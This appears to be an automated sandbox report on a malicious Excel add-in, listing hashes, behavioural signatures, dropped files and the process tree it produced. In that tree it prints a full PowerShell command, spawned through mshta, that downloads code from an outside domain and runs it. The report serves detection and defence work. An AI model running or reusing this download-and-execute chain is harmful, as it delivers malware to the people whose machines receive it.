Analysis

  • max time kernel
    137s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 01:14

General

  • Target

    95eaf567046e52488fff8b37531afc7a5b4f391bd66ac46a456e7a4cff715198.xll

  • Size

    12KB

  • MD5

    fe908cfe97274ea66ed2a5b05d3ec0f4

  • SHA1

    7a04aeb78f065ffae68e69164a09e33ab340a058

  • SHA256

    95eaf567046e52488fff8b37531afc7a5b4f391bd66ac46a456e7a4cff715198

  • SHA512

    aacfb3204da6387e2b0c5d5982fa9881b8aa1257bd450490decce0c79ad60c093b551795baf8e19d9193228ed3037ec71b957ec8ed4a2b171de3144b875991fb

  • SSDEEP

    192:/L29RBzDzeobchBj8JONkON5RoruKrEPEjr7AhH:T29jnbcvYJONCuKvr7CH

Score
10/10

Malware Config

Extracted

Language
xlm4.0
Source

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\95eaf567046e52488fff8b37531afc7a5b4f391bd66ac46a456e7a4cff715198.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:404
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5092
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4088

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\NCVVYLW7\d[1].htm

    Filesize

    2KB

    MD5

    f754844cfb65838d1dd6b19dde5d835c

    SHA1

    b3eb677783adc88c8d048898449e04d49f416db6

    SHA256

    3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

    SHA512

    f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

  • C:\Users\Admin\AppData\Local\Temp\95eaf567046e52488fff8b37531afc7a5b4f391bd66ac46a456e7a4cff715198.xll

    Filesize

    12KB

    MD5

    fe908cfe97274ea66ed2a5b05d3ec0f4

    SHA1

    7a04aeb78f065ffae68e69164a09e33ab340a058

    SHA256

    95eaf567046e52488fff8b37531afc7a5b4f391bd66ac46a456e7a4cff715198

    SHA512

    aacfb3204da6387e2b0c5d5982fa9881b8aa1257bd450490decce0c79ad60c093b551795baf8e19d9193228ed3037ec71b957ec8ed4a2b171de3144b875991fb

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1kdyixkf.agn.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/404-8-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-90-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-6-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-3-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-7-0x00007FFD0C810000-0x00007FFD0C820000-memory.dmp

    Filesize

    64KB

  • memory/404-9-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-15-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-14-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-18-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-19-0x00007FFD0C810000-0x00007FFD0C820000-memory.dmp

    Filesize

    64KB

  • memory/404-17-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-20-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-16-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-13-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-12-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-11-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-10-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-0-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-5-0x00007FFD4E96D000-0x00007FFD4E96E000-memory.dmp

    Filesize

    4KB

  • memory/404-4-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-92-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/404-1-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-91-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-89-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-88-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-2-0x00007FFD0E950000-0x00007FFD0E960000-memory.dmp

    Filesize

    64KB

  • memory/404-72-0x00007FFD4E8D0000-0x00007FFD4EAC5000-memory.dmp

    Filesize

    2.0MB

  • memory/4088-62-0x0000000005B80000-0x0000000005B9E000-memory.dmp

    Filesize

    120KB

  • memory/4088-63-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

    Filesize

    304KB

  • memory/4088-64-0x00000000071E0000-0x000000000785A000-memory.dmp

    Filesize

    6.5MB

  • memory/4088-65-0x0000000006090000-0x00000000060AA000-memory.dmp

    Filesize

    104KB

  • memory/4088-61-0x00000000055A0000-0x00000000058F4000-memory.dmp

    Filesize

    3.3MB

  • memory/4088-51-0x0000000005530000-0x0000000005596000-memory.dmp

    Filesize

    408KB

  • memory/4088-50-0x00000000054C0000-0x0000000005526000-memory.dmp

    Filesize

    408KB

  • memory/4088-49-0x0000000004BC0000-0x0000000004BE2000-memory.dmp

    Filesize

    136KB

  • memory/4088-47-0x00000000025A0000-0x00000000025D6000-memory.dmp

    Filesize

    216KB

  • memory/4088-48-0x0000000004D20000-0x0000000005348000-memory.dmp

    Filesize

    6.2MB